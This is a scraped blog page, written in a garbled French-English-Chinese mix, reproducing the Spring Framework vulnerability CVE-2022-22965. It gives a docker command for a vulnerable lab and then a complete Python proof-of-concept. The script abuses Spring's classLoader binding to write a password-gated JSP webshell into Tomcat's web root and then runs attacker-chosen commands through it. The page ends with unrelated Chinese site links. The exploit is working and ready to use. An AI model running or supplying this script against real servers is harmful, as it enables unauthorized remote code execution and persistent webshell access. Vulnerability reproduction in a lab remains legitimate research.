当前位置:网站首页>Cve - 2022 - 22965 Resume
Cve - 2022 - 22965 Resume
2022-06-22 14:01:00 【Lionwerson】
CVE-2022-22965Réapparition
Introduction:
Injdk 9+Running onSpring MVCOuSpring WebFlux applicationPeut causerRCE
Recréer l'environnement:
docker run -d -p 8080:8080 vulhub/spring-webmvc:5.3.17
Après le démarrage du Service,Accès àhttp://your-ip:8080/?name=xxx&age=xxx
Vous pouvez voir une page de démonstration.

poc:
Mode d'emploi:-t Entrez l'adresse de destination,-cSaisissez les commandes d'exécution,Par défautid
import argparse
import requests
headers = {
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'suffix': '%>//',
'c1': 'Runtime',
'c2': '<%',
'DNT': '1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
headers_res = {
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t',"--target",help='input target',required=True,type=str)
parser.add_argument('-c',"--command",help='input poc command',type=str,default='id')
args = parser.parse_args()
url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
cmd_url = args.target + "/tomcatwar.jsp?pwd=j&cmd=" + args.command
refresh_url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern="
res = requests.get(url=url, headers=headers)
try:
if res.status_code == 200:
res_cmd = requests.get(url=cmd_url, headers=headers)
print(res_cmd.text.replace("\x00",""))
ref_cmd = requests.get(url=refresh_url,headers=headers_res)
else:
print('Vulnerability does not exist')
except Exception as e:
print(e)
边栏推荐
- 《Kubernetes监控篇:Grafana通过自动化方式添加datasource和dashboard》
- “不敢去懷疑代碼,又不得不懷疑代碼”記一次網絡請求超時分析
- 别再用 System.currentTimeMillis() 统计耗时了,太 Low,StopWatch 好用到爆!
- History of hash index design
- 高薪程序员&面试题精讲系列114之Redis缓存你熟悉吗?Redis的key如何设计?内存淘汰机制你熟悉吗?
- Technology practice | scene oriented audio and video call experience Optimization
- 数据库 就业咨询系统求各位帮下忙
- transformers VIT图像模型向量获取
- 5G时代,如何打造一场令人惊叹的VR直播活动?
- LDA study notes
猜你喜欢
随机推荐
坚持了 10 年的 9 个编程好习惯
Configuring cplex12.4 tutorial in VS2010
Consolidation of common functions of numpy Library
“不敢去怀疑代码,又不得不怀疑代码”记一次网络请求超时分析
Leetcode knapsack problem
测试组的任务职责和测试的基本概念
HMS core news industry solution: let technology add humanistic temperature
Stephencovey's tips for efficient work for young people
Talk about row storage and column storage of database
leetcode LCP 10. Binary tree task scheduling
Common writing methods and excellent examples of acknowledgments in graduation thesis writing
“不敢去怀疑代码,又不得不怀疑代码”记一次网络请求超时分析
“不敢去懷疑代碼,又不得不懷疑代碼”記一次網絡請求超時分析
Temporary recommendation on graphs via long- and short term preference fusion
Problème de sous - séquence / substrat leetcode
【云原生】Nacos中的事件发布与订阅--观察者模式
leetcode 11. Container with the most water
Stored procedures in MySQL
Ppt data collection methods and analysis skills
Neuron+eKuiper 实现工业物联网数据采集、清理与反控


![[cloud native] event publishing and subscription in Nacos -- observer mode](/img/0f/34ab42b7fb0085f58f36eb67b6f107.png)






